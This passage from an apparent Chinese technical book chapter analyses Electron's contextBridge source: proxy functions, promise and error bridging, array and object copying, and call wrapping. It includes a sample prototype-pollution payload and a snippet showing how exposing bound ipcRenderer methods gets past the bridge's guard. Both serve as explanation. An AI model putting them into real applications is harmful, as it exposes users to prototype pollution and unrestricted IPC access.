				kOriginalFunctionPrivateKey, func);

为什么要绕这一圈?因为 contextBridge.exposeInMainWorld('example', (fn) => fn) 这种"透传"函数很常见(spec:444 专门测了)。主世界传一个函数进去,preload 的箭头函数原样返回,如果每次都新建 proxy,root.example(fn) === fn 会是 false。有了这个标记,返回路径发现"这个 proxy 的原函数正是我 destination 里的函数",直接还原函数,identity 保住。

GetCreationContextChecked(isolate) == destination_context 这个附加条件不能省。如果没有它,一个从 A 代理到 B 的函数,再从 B 代理回 A 时会被错误地"还原"——但那个原函数的出生 context 是 A,destination 也是 A,看起来对。真正需要防的是三层代理:A→B→C 之后再 C→A,此时 private 里的原函数是 A 的,destination 也是 A,仍然还原正确。

所以这个条件真正防的是:proxy 被传到一个既不是原函数出生地、也不是它被创建地的 context。此时不能还原,必须新建 proxy。

现在看创建那半:

electron_api_context_bridge.cc:224-231

	v8::Local<v8::Value> slots[kProxyFunctionStateLength];
	slots[kProxiedFunction] = func;
	slots[kProxiedFunctionReceiver] = parent_value;
	slots[kSupportsDynamicProperties] =
		v8::Boolean::New(isolate, support_dynamic_properties);
	v8::Local<v8::Array> state =
		v8::Array::New(isolate, slots, kProxyFunctionStateLength);
	if (!v8::Function::New(destination_context, ProxyFunctionWrapper, state)
			.ToLocal(&proxy_func))
		return {};

ProxyFunctionState 是三个槽位的枚举(:55-60):

electron_api_context_bridge.cc:55-59

enum ProxyFunctionState : uint32_t {
	kProxiedFunction = 0,
	kProxiedFunctionReceiver,
	kSupportsDynamicProperties,
	kProxyFunctionStateLength,
};

用一个 v8::Array 作为 v8::Function 的 data。为什么不用 v8::External 或 v8::Object?因为数组的索引访问是最快的(V8 对 packed elements 有专门的快速路径),而 ProxyFunctionWrapper 每次调用都要读这三个槽。

注意 slots[kProxiedFunction] = func 存的是原函数本身,不是它的 Global。 这意味着 proxy 函数持有一个指向原 context 里函数的引用——这恰恰是它必须存在的原因:如果 proxy 不持有原函数,原函数会被 GC 掉,proxy 调用时就找不到目标了。代价是:只要 proxy 活着,原函数就活着,原 context 里那条引用链上的所有东西都活着。 这是 contextBridge 最实在的内存代价,15.13 会算这笔账。

v8::Function::New(destination_context, ...) 的第一个参数决定了新函数的出生 context。这很重要:proxy 函数在主世界里"看起来"就是一个主世界的函数,fn.constructor === Function(主世界的 Function)成立,fn instanceof Function 成立。spec 里那个 Function.prototype.bind 被覆盖的测试(:387)能通过,正是因为 proxy 用的是 V8 原生的调用路径,不经过任何 JS 层的 .bind/.apply。

15.3.4 Promise:两个弱引用与一个 shared_ptr

Promise 分支(:243-353)是全文件最长的一段,120 行只做一件事:建一个 destination context 里的 Promise,把它和 source context 里的 Promise 接起来。

electron_api_context_bridge.cc:249-256

	auto proxied_promise =
		std::make_shared<gin_helper::Promise<v8::Local<v8::Value>>>(isolate);
	v8::Local<v8::Promise> proxied_promise_handle =
		proxied_promise->GetHandle();
	v8::Global<v8::Context> global_then_source_context(isolate, source_context);
	v8::Global<v8::Context> global_then_destination_context(
		isolate, destination_context);
	global_then_source_context.SetWeak();
	global_then_destination_context.SetWeak();

四个决定:

决定一:shared_ptr。 注释解释了原因:"Make the promise a shared_ptr so that when the original promise is freed the proxy promise is correctly freed as well instead of being left dangling"。两个回调(then 和 catch)各持一份 shared_ptr,谁最后跑完谁负责释放。

决定二:两个 context 都用 v8::Global + SetWeak()。 这是为了防止 context 被销毁后回调还去访问它。回调开头的守卫是:

		if (global_source_context.IsEmpty() ||
			global_destination_context.IsEmpty())
			return;

SetWeak() 之后,当 context 只剩弱引用时,Global 会变成空。于是"页面导航走了"这件事会被这条守卫捕获,回调直接 return,不碰已死的 context。

代价是:proxied promise 永远 pending。 源 promise 永远不会 settle 了(它的 context 都没了),所以主世界那个 await window.api.getSomething() 会挂死。这是一个可观察的现象,也是很多"页面跳转后 promise 不 resolve"现象的根因。没有 reject,没有错误——就是永远等下去。

决定三:support_dynamic_properties 传 false。 注意 then/catch 回调里的调用:

			val = PassValueToOtherContext(isolate, source_context,
										global_destination_context.Get(isolate),
										result, source_context->Global(), false,
										BridgeErrorTarget::kDestination);

第五个参数(parent value)是 source_context->Global(),第六个(dynamic properties)是 false。为什么这里不像 ProxyFunctionWrapper 那样传 support_dynamic_properties?因为 promise 的结果是一个独立的值,没有"父对象"这个概念——它是从 promise 里蹦出来的,不属于任何 API 对象。传 false 意味着结果对象里的 getter 会被求值后复制,而不是保留 getter。

这是一个语义选择:window.api.getConfig().then(cfg => cfg.x) 拿到的是快照,cfg 上的 getter 在过桥时已经跑过一次了。

决定四:BridgeErrorTarget::kDestination。 这个值只在两处用到(这里是其一,另一处是 ProxyFunctionWrapper 的返回值转换)。头文件里的注释说得最清楚:

The destination / target context. This should only be used when the source won't catch the error that results from the value it is passing over the bridge. This can only occur when returning a value from a function as we convert the return value after the method has terminated and execution has been returned to the caller.

Promise 的 resolve 回调正是这种情况:源 promise 已经 settle 了,转换错误发生在没有调用者栈的时刻。此时错误只能报在 destination——因为 destination 那边才是"等着接这个值"的地方。如果报在 source,没人接,异常就丢了。

最后是接线:

electron_api_context_bridge.cc:346-350

	std::ignore = source_promise->Then(
		source_context,
		gin::ConvertToV8(isolate, std::move(then_cb)).As<v8::Function>(),
		gin::ConvertToV8(isolate, std::move(catch_cb)).As<v8::Function>());
	object_cache->CacheProxiedObject(value, proxied_promise_handle);

source_promise->Then(source_context, ...) 是 V8 的原生 API,不走 JS 的 .then。这就是 spec 里 Function.prototype.bind 被 Proxy 包住时 observed: false 的原因——整条链上没有一次 JS 函数调用,页面改什么都影响不到。

注意缓存的位置:在 Then 之后、在回调可能执行之前。 这个顺序是必须的。Then 注册的回调是微任务,不会同步执行;如果源 promise 已经 resolved(Promise.resolve(1)),回调会在当前微任务队列的末尾跑。缓存先落,回调后跑,于是"同一个 promise 被传两次"会命中缓存,主世界拿到的是同一个 proxy。

但反过来,如果源 promise 已经 settle 而 Then 的回调同步执行(V8 不这么做,但假设),缓存就会晚一步——好在 V8 保证不这样。

15.3.5 错误:只留 message

electron_api_context_bridge.cc:357-364

	if (value->IsNativeError()) {
	v8::Context::Scope destination_context_scope(destination_context);
	v8::Local<v8::Value> message;
	if (!value.As<v8::Object>()
			->Get(source_context, gin::ConvertToV8(isolate, "message"))
			.ToLocal(&message))
	return {};
	if (message->IsString()) {
	return v8::MaybeLocal<v8::Value>(
		v8::Exception::Error(message.As<v8::String>()));
	}
	return v8::MaybeLocal<v8::Value>(v8::Exception::Error(
		v8::Exception::CreateMessage(isolate, value)->Get()));
	}

七行逻辑,三个取舍:

取舍一:只搬 message,不搬 stack。 跨 context 复制 stack 没有意义——stack 里的文件路径是 preload 的,行号对页面来说是错的。文档说 "the message and stack trace of the error changing slightly",措辞很客气,实际是stack 完全重写:新 Error 在 destination 创建,stack 是 destination 的调用栈,从 v8::Exception::Error 那一行开始。

取舍二:CreateMessage 兜底。 如果 message 不是字符串(比如被 Object.defineProperty 改成了对象),退回到 v8::Exception::CreateMessage(isolate, value)->Get()。CreateMessage 会从错误对象上提取 V8 内部的 message 结构(kStack/kMessage 这些私有属性),比读公开的 message 属性更可靠——但只在"公开属性不可靠"时才用。

取舍三:所有自定义属性全丢。 err.code、err.errno、err.statusCode——全没了。文档里给了 issue 链接(#25596)。这是 Node 生态里最疼的一条,因为 Node 的错误大量依赖 code 字段(ENOENT、ECONNREFUSED)。常见绕法是手动把 code 塞进 message 字符串,或者在 API 上再加一个"返回 { code, message }"的方法。

有一个细节值得注意:Get 用的 context 是 source_context,但 v8::Context::Scope 已经是 destination。这两者不矛盾——Scope 只影响"当前执行上下文",Get 的第一个参数显式指定了走哪个原型链。这样写的好处是 getter(如果 message 被改成了 accessor)会在 source 的语义下跑。

但如果那个 getter 抛异常,ToLocal 返回空,return {} —— 整个过桥失败,异常向上传。注释写明了这是有意的:"Reading 'message' can run a user-defined accessor which may throw; if it does, bail out and let the pending exception propagate to the caller."

15.3.6 数组:缓存时机的一个真实缺陷

electron_api_context_bridge.cc:381-388

	if (IsPlainArray(value)) {
	v8::Context::Scope destination_context_scope(destination_context);
	v8::Local<v8::Array> arr = value.As<v8::Array>();
	size_t length = arr->Length();
	v8::LocalVector<v8::Value> cloned(isolate);
	cloned.reserve(length);
	for (size_t i = 0; i < length; i++) {
	v8::Local<v8::Value> element;
	if (!arr->Get(source_context, i).ToLocal(&element))
		return {};
	auto value_for_array = PassValueToOtherContextInner(
		isolate, source_context, source_execution_context,
		destination_context, element, value, object_cache,
		support_dynamic_properties, recursion_depth + 1, error_target);
	if (value_for_array.IsEmpty())
		return {};
	cloned.push_back(value_for_array.ToLocalChecked());
	}
	v8::Local<v8::Array> cloned_arr =
		v8::Array::New(isolate, cloned.data(), cloned.size());
	object_cache->CacheProxiedObject(value, cloned_arr);
	return v8::MaybeLocal<v8::Value>(cloned_arr);
	}

CacheProxiedObject 在循环之后。这意味着:

自引用数组会一路递归到 1000 层然后抛错。 而自引用对象不会——因为 CreateProxyForAPI 是在开头缓存的:

electron_api_context_bridge.cc:646-647

	auto proxy = gin_helper::Dictionary::CreateEmpty(isolate);
	object_cache->CacheProxiedObject(api.GetHandle(), proxy.GetHandle());

对比之下就很清楚了。这是一个真实的不对称:

const a = []; a.push(a);
contextBridge.exposeInMainWorld('x', { a });
// 抛: "Electron contextBridge recursion depth exceeded.
//      Nested objects deeper than 1000 are not supported."
const o = {}; o.o = o;
contextBridge.exposeInMainWorld('x', { o });
// 正常,主世界 x.o.o.o... 一直是同一个 proxy

spec:797 的 should handle recursive objects 测的是对象,测过了。数组的自引用没有测试——不是遗漏,多半是没人想到。

为什么数组不能提前缓存?因为数组的 proxy 就是数组本身,而 v8::Array::New 需要长度和元素。可以先造一个空数组、缓存、再逐个 Set:

// 可行的写法(当前实现没这么做)
v8::Local<v8::Array> cloned_arr = v8::Array::New(isolate, length);
object_cache->CacheProxiedObject(value, cloned_arr);
for (...) { cloned_arr->Set(context, i, proxied); }

代价是多一次 Set(走普通属性写路径,比 v8::Array::New(isolate, data, len) 的批量构造慢)。当前实现选择了性能,牺牲了自引用数组。

cloned.reserve(length) 是一个小的正确性细节:v8::LocalVector 是 handle 的 vector,reserve 防止 push_back 时扩容导致 handle slot 重排(不会真的重排,但可以减少分配)。

arr->Get(source_context, i) 的检查是必要的——数组索引也可能是 accessor(Object.defineProperty(arr, 0, { get() { throw } }))。spec:482 专门测了这种情况,期望"抛错而不是崩溃"。

arr->Length() 调用一次并缓存到 length。如果数组在遍历过程中被改(getter 里 push),缓存的 length 保证循环不会越界。这是一个静态快照语义。

15.3.7 DOM 三件套

DOM 分支上一节讲过原理,这里补三个实现细节:

electron_api_context_bridge.cc:414-417

	blink::WebElement elem = blink::WebElement::FromV8Value(isolate, value);
	if (!elem.IsNull()) {
	v8::Context::Scope destination_context_scope(destination_context);
	return v8::MaybeLocal<v8::Value>(elem.ToV8Value(isolate));
	}

细节一:ToV8Value(isolate) 用的是"当前 context"。 v8::Context::Scope 刚设成 destination,所以 Blink 的 wrapper 表会为 destination world 创建一个新 wrapper(如果还没有的话)。这就是"两个 wrapper、一个 C++ 对象"的实现。

细节二:这个分支不写 cache。 三次 FromV8Value 探测之后直接 return,不调 CacheProxiedObject。后果是同一个元素传两次会走两遍探测——但 ToV8Value 内部会命中 wrapper 表,返回同一个 wrapper,所以 identity 依然正确。这里不缓存是对的:缓存 key 是源 wrapper,而源 wrapper 到目标 wrapper 的映射本来就由 Blink 维护。

细节三:VideoFrame 需要手动取 ScriptState。

electron_api_context_bridge.cc:432-436

	blink::ScriptState* script_state =
		blink::ScriptState::From(isolate, destination_context);
	return v8::MaybeLocal<v8::Value>(
		blink::ToV8Traits<blink::VideoFrame>::ToV8(script_state,
													video_frame));

WebElement 和 WebBlob 都有便捷的 ToV8Value(isolate),VideoFrame 没有——因为它在 modules/webcodecs 里,属于"模块"而非"core",Blink 的绑定生成器给它的是 ToV8Traits 接口。所以要用 ToV8Traits<...>::ToV8(script_state, ptr) 这个更底层的入口。

三者的顺序(Element → Blob → VideoFrame)也是从"最可能"到"最不可能":API 里传元素远比传 VideoFrame 常见。

15.3.8 普通对象与兜底

electron_api_context_bridge.cc:441-448

	if (IsPlainObject(value)) {
	auto object_value = value.As<v8::Object>();
	auto passed_value = CreateProxyForAPI(
		object_value, isolate, source_context, source_execution_context,
		destination_context, object_cache, support_dynamic_properties,
		recursion_depth + 1, error_target);
	...
	}
	// Serializable objects
	blink::CloneableMessage ret;
	{
	v8::Local<v8::Context> error_context =
		error_target == BridgeErrorTarget::kSource ? source_context
												: destination_context;
	v8::Context::Scope error_scope{error_context};
	if (!gin::ConvertFromV8(isolate, value, &ret)) {
	return {};
	}
	}

IsPlainObject(:100-117)的排除列表有 30 项,值得完整看一遍,因为它定义了"什么算普通对象":

electron_api_context_bridge.cc:104-111

	return !(object->IsNullOrUndefined() || object->IsDate() ||
		object->IsArgumentsObject() || object->IsBigIntObject() ||
		object->IsBooleanObject() || object->IsNumberObject() ||
		object->IsStringObject() || object->IsSymbolObject() ||
		object->IsNativeError() || object->IsRegExp() ||
		object->IsPromise() || object->IsMap() || object->IsSet() ||
		object->IsMapIterator() || object->IsSetIterator() ||
		object->IsWeakMap() || object->IsWeakSet() ||
		object->IsArrayBuffer() || object->IsArrayBufferView() ||
		object->IsArray() || object->IsDataView() ||
		object->IsSharedArrayBuffer() || object->IsGeneratorObject() ||
		object->IsWasmModuleObject() || object->IsWasmMemoryObject() ||
		object->IsModuleNamespaceObject() || object->IsProxy());

三类值得单独说:

包装对象(IsNumberObject 等六个)。 new Number(1) 被排除,走兜底序列化,克隆出来是原始值 1 而不是包装对象。这是结构化克隆的标准行为,但对 new String('x') 这种依赖 .length 和索引访问的代码是个隐性破坏。

IsProxy()。 这一条最实用也最意外。Proxy 被排除在"普通对象"之外,走兜底序列化,而结构化克隆对 Proxy 会抛 DataCloneError。后果是:

// Vue 3 的 reactive 就是一个 Proxy
const state = reactive({ count: 0 });
contextBridge.exposeInMainWorld('api', { getState: () => state });
// 主世界调 window.api.getState() → 抛 DataCloneError

Vue 3、MobX 6、Immer 的 draft 都是 Proxy。这是"为什么我的 Vue 3 项目过不了桥"最常见的答案。绕法是 toRaw() / structuredClone 之前先解包,或者干脆传普通对象。

IsWasmModuleObject / IsModuleNamespaceObject。 两者都不能克隆,走到兜底必然抛错。ES module 的命名空间对象尤其容易踩——import * as api from './api.js' 的 api 就是一个 Module Namespace,直接 exposeInMainWorld('api', api) 会失败。必须先展开成普通对象({ ...api },但要注意 namespace 的属性是 getter-only,展开是可行的)。

兜底分支的 error_context 选择有一个细节:Context::Scope 设成 error_target 指定的那个 context。这样 gin::ConvertFromV8 失败时抛出的 DataCloneError 会出现在正确的 context 里。如果 error_target 是 destination(promise 回调、函数返回值),错误就报在 destination——这是唯一能被捕获的地方。


15.4 CreateProxyForAPI:属性怎么被复制

CreateProxyForAPI(:632-737)负责"把一个对象的所有可枚举属性逐个过桥"。看起来简单,但有四个坑。

15.4.1 ONLY_ENUMERABLE 与 ipcRenderer 变空对象

electron_api_context_bridge.cc:648-649

	auto maybe_keys = api.GetHandle()->GetOwnPropertyNames(
		source_context, static_cast<v8::PropertyFilter>(v8::ONLY_ENUMERABLE));

三个限定词,每一个都在割掉东西:

  • Own:不查原型链。原型上的方法全部丢失。
  • PropertyNames:只返回字符串键,symbol 键丢失。
  • ONLY_ENUMERABLE:只返回可枚举的,Object.defineProperty 设成 enumerable: false 的丢失。

第三条正是官方文档那句的机制:

Attempting to send the entire ipcRenderer module as an object over the contextBridge will result in an empty object on the receiving side of the bridge.

ipcRenderer 是第 14 章讲过的那个 native 对象。它的方法(send、invoke、on……)全部挂在原型上(ipc-renderer.ts:1-3 的那次重构就是为了保持这个形状),实例自身几乎没有可枚举属性。于是:

contextBridge.exposeInMainWorld('ipc', ipcRenderer);
// 主世界:window.ipc 是 {},没有任何方法

这是有意设计的安全护栏,不是 bug(PR #40330 把它写进了 breaking changes)。理由是文档里那句:"Sending over ipcRenderer in full can let any code send any message, which is a security footgun."

但这个护栏是结构性的、不是策略性的——它没有检查"这是不是 ipcRenderer",它只是恰好因为 ipcRenderer 的形状而生效。任何形状类似的对象(方法全在原型上)都会得到同样的结果。反过来说,如果有人把 ipcRenderer 的方法手动搬到实例上:

const wrapped = {};
for (const k of ['send', 'invoke', 'on']) wrapped[k] = ipcRenderer[k].bind(ipcRenderer);
contextBridge.exposeInMainWorld('ipc', wrapped);  // 成功,护栏失效

所以这道护栏挡的是"随手暴露",不是"有意暴露"。 真正的安全来自 15.9 讲的暴露面设计。

15.4.2 CreateDataProperty 与 __proto__

electron_api_context_bridge.cc:725-731

	// Use CreateDataProperty (not Set) so that a key named "__proto__"
	// becomes an own data property instead of invoking the inherited
	// Object.prototype.__proto__ setter and mutating the prototype.
	v8::Local<v8::Value> proxied_value = passed_value.ToLocalChecked();
	if (key->IsName()) {
		std::ignore = proxy.GetHandle()->CreateDataProperty(
			destination_context, key.As<v8::Name>(), proxied_value);
	} else {
		std::ignore = proxy.GetHandle()->CreateDataProperty(
			destination_context, key.As<v8::Uint32>()->Value(), proxied_value);
	}

如果这里用 Set,那么源对象上一个名为 "__proto__" 的自有属性会导致目标对象的原型被改——因为 Set 会走 Object.prototype.__proto__ 的 setter。这不是"完整逃逸",但它是一次真实的原型污染,而且是从 preload 主动发起、落在主世界里的:

// 假设 bridge 用 Set
contextBridge.exposeInMainWorld('evil', JSON.parse('{"__proto__": {"polluted": true}}'));
// 主世界:({}).polluted === true  ← 原型污染

CreateDataProperty 绕过 setter,直接定义自有属性。结果是一个名叫 __proto__ 的普通属性:window.evil.__proto__ 读出来是那个对象,但 Object.getPrototypeOf(window.evil) 仍然是 Object.prototype。

(顺带说:window.evil.__proto__ 这种读法会走 getter,返回真实的原型。想读那个同名属性只能用 Object.getOwnPropertyDescriptor(window.evil, '__proto__').value。这个细节让"污染"的痕迹更难被发现——console.log(window.evil) 里看得到 __proto__ 这个键,但直接点开它显示的是原型。)

spec 里有两个测试钉住这一点(:636、:661):一个测"过桥时",一个测"暴露时"。

注意 key->IsName() 和 key->IsUint32() 的分支。理论上 GetOwnPropertyNames 只返回 v8::Name,这里的 else 分支是防御性的——但如果真的拿到一个数字索引(某些情况下 V8 会把数组索引以 uint32 形式返回),用 key.As<v8::Uint32>() 才能正确取出。这个分支的代码路径几乎不会走到,但写出来是对的。

std::ignore = 表示"丢弃返回值"。CreateDataProperty 返回 v8::Maybe<bool>,失败的情况是目标对象不可扩展(已经 frozen)——但此时 proxy 是刚建的,不可能不可扩展。所以忽略是安全的。

15.4.3 support_dynamic_properties:保留 getter 的那一半

electron_api_context_bridge.cc:659-666

	if (support_dynamic_properties) {
		v8::Context::Scope source_context_scope(source_context);
		auto maybe_desc = api.GetHandle()->GetOwnPropertyDescriptor(
			source_context, key.As<v8::Name>());
		v8::Local<v8::Value> desc_value;
		if (!maybe_desc.ToLocal(&desc_value) || !desc_value->IsObject())
		continue;
		gin_helper::Dictionary desc(api.isolate(), desc_value.As<v8::Object>());
		if (desc.Has("get") || desc.Has("set")) {
		// ... 分别把 getter/setter 过桥,再 DefineProperty
		continue;
		}
	}

这段只在 support_dynamic_properties 为真时跑。哪些调用会传 true?只有两处:OverrideGlobalValueWithDynamicPropsFromIsolatedWorld(测试专用)和 ProxyFunctionWrapper 里透传的那个(来自 ExposeAPI 传 false,所以实际上只有测试路径为真)。

也就是说,生产路径下 support_dynamic_properties 永远是 false,getter 一律被求值。

那这段代码为什么存在?因为它服务于一个具体需求:让 preload 定义的 getter 在主世界里仍然是 getter。没有它,exposeInMainWorld('api', { get now() { return Date.now() } }) 会在暴露时求值一次,之后永远不变。有了它(在 flag 打开或测试路径下),每次读 window.api.now 都会跨 world 调用一次原 getter。

注意两个 Context::Scope 的嵌套:外层是 source_context(因为 GetOwnPropertyDescriptor 要在源语义下跑),内层是 destination_context(因为要造 proxy)。这种"读在源、写在目标"的模式在文件里反复出现。

还有一个细节:desc.Get("get", &getter) 之后如果 getter 为空(Unset),传 v8::Local<v8::Value>() 给 PassValueToOtherContextInner 会崩——所以有 if (!getter.IsEmpty()) 的守卫。但 v8::PropertyDescriptor prop_desc(getter_proxy, setter_proxy) 在 setter 为空时也要求传一个合法的值,这里的 setter_proxy 是默认构造的 v8::Local<v8::Value>()(空),PropertyDescriptor 的构造函数能接受空吗?

看代码:

electron_api_context_bridge.cc:697-699

			v8::PropertyDescriptor prop_desc(getter_proxy, setter_proxy);
			std::ignore = proxy.GetHandle()->DefineProperty(
				destination_context, key.As<v8::Name>(), prop_desc);

prop_desc 用两个参数构造,这个重载是 PropertyDescriptor(get, set),其中 set 为空指针时表示"不设 setter"。V8 的这个重载接受空的 Local。所以是安全的。

15.4.4 数字键:Array.isArray(proxy) 为什么是 false

spec:622 那个测试:

contextBridge.exposeInMainWorld('example', { 1: 123, 2: 456, 3: 789 });
// 主世界:[root.example[1], root.example[2], root.example[3],
//          Array.isArray(root.example)] === [123, 456, 789, false]

Array.isArray 为 false 是因为 gin_helper::Dictionary::CreateEmpty(isolate) 造的是普通对象,数字键只是普通属性。这在 JS 里完全合法。但它意味着:

window.example.length === undefined
window.example.map === undefined
JSON.stringify(window.example) === '{"1":123,"2":456,"3":789}'

只能当对象用。如果 API 里真有"类数组"的数据,正确做法是传真正的数组(走 IsPlainArray 分支),而不是一个数字键对象。

反过来也有个陷阱:IsPlainArray 只对 IsArray() 为真的值生效。 一个 arguments 对象(IsArgumentsObject)不走数组分支,走兜底序列化。在结构化克隆里 arguments 会被当成普通对象处理,结果是一个带数字键和 length 属性的普通对象——注意它不是数组,Array.isArray 为假。这与 {...arguments} 的结果不同(后者没有 length)。


15.5 ProxyFunctionWrapper:一次调用里的四次跨界

ProxyFunctionWrapper(:497-630)是每次"主世界调用 preload 函数"时真正执行的东西。它比看起来复杂,因为一次调用里有四次值要跨 world:

  1. 参数:calling → owning
  2. 函数体执行:在 owning context 里
  3. 返回值:owning → calling
  4. 异常:owning → calling(这条路径和 3 不同)

先看开头:

electron_api_context_bridge.cc:497-504

void ProxyFunctionWrapper(const v8::FunctionCallbackInfo<v8::Value>& info) {
	TRACE_EVENT0("electron", "ContextBridge::ProxyFunctionWrapper");
	CHECK(info.Data()->IsArray());
	v8::Local<v8::Array> state = info.Data().As<v8::Array>();
	gin::Arguments args{info};
	v8::Isolate* const isolate = args.isolate();
	// Context the proxy function was called from
	v8::Local<v8::Context> calling_context = isolate->GetCurrentContext();
	v8::Local<v8::Value> func_value;
	v8::Local<v8::Value> recv;
	v8::Local<v8::Value> sdp_value;
	if (!state->Get(calling_context, kProxiedFunction).ToLocal(&func_value) ||
	!state->Get(calling_context, kProxiedFunctionReceiver).ToLocal(&recv) ||
	!state->Get(calling_context, kSupportsDynamicProperties)
		.ToLocal(&sdp_value) ||
	!func_value->IsFunction())
	return;

isolate->GetCurrentContext() 在这一刻返回的是调用方的 context——因为我们现在正处在主世界调用栈里。这个值就是 destination。

三个 slot 的读取全部用 calling_context。为什么不用 func_owning_context?因为此刻 func_owning_context 还没算出来(它来自 func_value)。而且用 calling_context 读 v8::Array 的索引属性也没有语义差异——数组索引不走原型链。

!func_value->IsFunction() 这个检查放在最后,作为整个短路链的终点。如果任何一个 Get 失败(比如页面把 state 数组的索引属性删了——理论上不可能,但代码要健壮),直接 return,返回 undefined,不抛错。这是一个静默失败点。

15.5.1 第一次跨界:参数

electron_api_context_bridge.cc:518-525

	v8::Local<v8::Function> func = func_value.As<v8::Function>();
	v8::Local<v8::Context> func_owning_context =
	func->GetCreationContextChecked(isolate);
	{
	v8::Context::Scope func_owning_context_scope(func_owning_context);
	// Cache duplicate arguments as the same proxied value.
	context_bridge::ObjectCache object_cache;
	std::vector<v8::Local<v8::Value>> original_args;
	std::vector<v8::Local<v8::Value>> proxied_args;
	args.GetRemaining(&original_args);
	for (auto value : original_args) {
	auto arg = PassValueToOtherContext(
		isolate, calling_context, func_owning_context, value,
		calling_context->Global(), support_dynamic_properties,
		BridgeErrorTarget::kSource, &object_cache);
	if (arg.IsEmpty())
		return;
	proxied_args.push_back(arg.ToLocalChecked());
	}

四个决定:

决定一:Context::Scope 在转换参数之前就切成 owning。 转换过程本身是"在 destination 里造值",所以 scope 必须是 destination。而 PassValueToOtherContext 内部会自己切 scope(每个分支都切),这里的 Scope 是给"没有切 scope 的代码路径"兜底的——比如 arg.ToLocalChecked() 之后的 push_back,它不涉及 V8。

决定二:object_cache 每次调用新建。 注释说 "Cache duplicate arguments as the same proxied value",对应 spec:455 那个测试:

contextBridge.exposeInMainWorld('example', (a, b) => a === b);
// 主世界:root.example(obj, obj) === true

同一个 obj 传两次,preload 里 a === b 成立——因为第二次过桥命中了 cache。这个语义很重要:如果每次都新建 proxy,a !== b,任何"用对象做 key 去重"的 preload 逻辑都会失效。

但 cache 不跨调用。 两次调用各传一次同一个对象,preload 里拿到的是两个不同的值。这是有意的:跨调用保持 identity 需要一个与函数生命周期绑定的 cache,而函数可能被调用成千上万次,cache 会无限增长。

决定三:parent_value 是 calling_context->Global()。 参数是一棵独立的树,没有"父对象",所以用全局对象当根。这个值会传给它下面所有函数代理的 kProxiedFunctionReceiver。

后果:如果主世界传一个函数给 preload,preload 里调它时 this 是主世界的 globalThis。这符合"未绑定函数的隐式 this 是 globalThis"的语义(非严格模式),但在严格模式下应该是 undefined。

PassValueToOtherContext 里对函数代理不检查严格模式:一个 'use strict' 的函数被代理之后,this 仍然会拿到 globalThis 而不是 undefined。实际影响很小(preload 代码很少依赖 this === undefined 做判断),但这是一处语义偏差,值得知道。

决定四:BridgeErrorTarget::kSource。 参数转换失败时,错误报在 calling(source)——因为调用方还在栈上,能 catch。这是与返回值转换(kDestination)的关键区别。

args.GetRemaining(&original_args) 是 gin::Arguments 的方法:把"从当前索引到末尾"的所有参数收进 vector。用 GetRemaining 而不是逐个 GetNext 是因为参数个数不定,且不需要类型转换。

15.5.2 第二次跨界:调用

electron_api_context_bridge.cc:542-549

	v8::MaybeLocal<v8::Value> maybe_return_value;
	bool did_error = false;
	v8::Local<v8::Value> error_message;
	{
	v8::TryCatch try_catch(isolate);
	maybe_return_value = func->Call(func_owning_context, recv,
									proxied_args.size(), proxied_args.data());
	if (try_catch.HasCaught()) {
		did_error = true;
		v8::Local<v8::Value> exception = try_catch.Exception();
		const char err_msg[] =
			"An unknown exception occurred in the isolated context, an error "
			"occurred but a valid exception was not thrown.";
		if (!exception->IsNull() && exception->IsObject()) {
		v8::MaybeLocal<v8::Value> maybe_message =
			exception.As<v8::Object>()->Get(
				func_owning_context, gin::ConvertToV8(isolate, "message"));
		if (!maybe_message.ToLocal(&error_message) ||
			!error_message->IsString()) {
			error_message = gin::StringToV8(isolate, err_msg);
		}
		} else {
		error_message = gin::StringToV8(isolate, err_msg);
		}
	}
	}

func->Call(func_owning_context, recv, ...) 的两个 context 参数值得区分:第一个是"在哪个 context 里执行",第二个是 this。这里传的是 owning context——函数在它的出生地执行,这保证了它能访问自己的闭包、自己的全局变量。

recv 来自 slot 的 kProxiedFunctionReceiver,也就是创建 proxy 时的 parent_value。对于 exposeInMainWorld('api', { fn }) 里的 fn,recv 是主世界里那个 api proxy 对象。

这一点很关键:preload 里 fn 的 this 本来应该是 preload 侧的 api 对象,但通过桥调用时 this 变成了主世界侧的 api proxy。于是 this.otherMethod() 调用的是主世界的 proxy 方法,它会再跨一次桥回到 preload。一次 this.otherMethod() 实际上是两次跨界。

如果 preload 的 fn 用 this 存状态(this.count++),状态会存在主世界的 proxy 上——而 proxy 是 frozen 的,this.count++ 静默失败(非严格)或抛错(严格)。这是一个真实且隐蔽的坑。

错误捕获有三个分支:

分支一:exception 是对象,且 message 是字符串 → 用那个字符串。 分支二:exception 是对象,但 message 读不到或不是字符串 → 用 err_msg 常量。 分支三:exception 不是对象(null、数字、字符串等) → 用 err_msg 常量。

分支三覆盖了 throw 123、throw 'oops'、throw null 这些合法但奇怪的写法。注释(在返回值那段)解释了为什么不做进一步处理:

In some cases the caught thing is not an exception i.e. it's technically valid to throw 123. In these cases to avoid infinite PassValueToOtherContext recursion we bail early as being unable to send the value from one context to the other.

"避免无限递归"——如果试图把 throw 的东西也过桥,而它恰好是个会抛的对象,就会无限套娃。所以这里选择降级为字符串常量,信息丢失但绝对安全。

err_msg 的措辞 "in the isolated context" 是历史遗留——它假设调用方向永远是"主世界调 preload"。反向(preload 调主世界传进来的函数)时,这个措辞是错的。

然后是抛出:

electron_api_context_bridge.cc:572-576

	if (did_error) {
	v8::Context::Scope calling_context_scope(calling_context);
	isolate->ThrowException(
		v8::Exception::Error(error_message.As<v8::String>()));
	return;
	}

先切 scope 再抛。 因为 v8::Exception::Error 会在当前 context 里造一个 Error 实例——必须造在 calling context 里,否则主世界 catch (e) 拿到的 e 原型链指向隔离世界。

注意 error_message.As<v8::String>() 的强制转换。前面的逻辑保证了 error_message 一定是字符串(三个分支都赋了字符串),但如果 maybe_message.ToLocal() 成功而 error_message->IsString() 为假,代码走 error_message = gin::StringToV8(isolate, err_msg)——赋值成功,类型正确。所以这个 As 是安全的。

15.5.3 第三次跨界:返回值

electron_api_context_bridge.cc:595-602

	bool did_error_converting_result = false;
	v8::MaybeLocal<v8::Value> ret;
	v8::Local<v8::String> exception;
	{
	v8::TryCatch try_catch(isolate);
	ret = PassValueToOtherContext(
		isolate, func_owning_context, calling_context,
		maybe_return_value.ToLocalChecked(), func_owning_context->Global(),
		support_dynamic_properties, BridgeErrorTarget::kDestination);
	if (try_catch.HasCaught()) {
		did_error_converting_result = true;
		if (!try_catch.Message().IsEmpty()) {
		exception = try_catch.Message()->Get();
		}
	}
	}
	if (did_error_converting_result) {
	v8::Context::Scope calling_context_scope(calling_context);
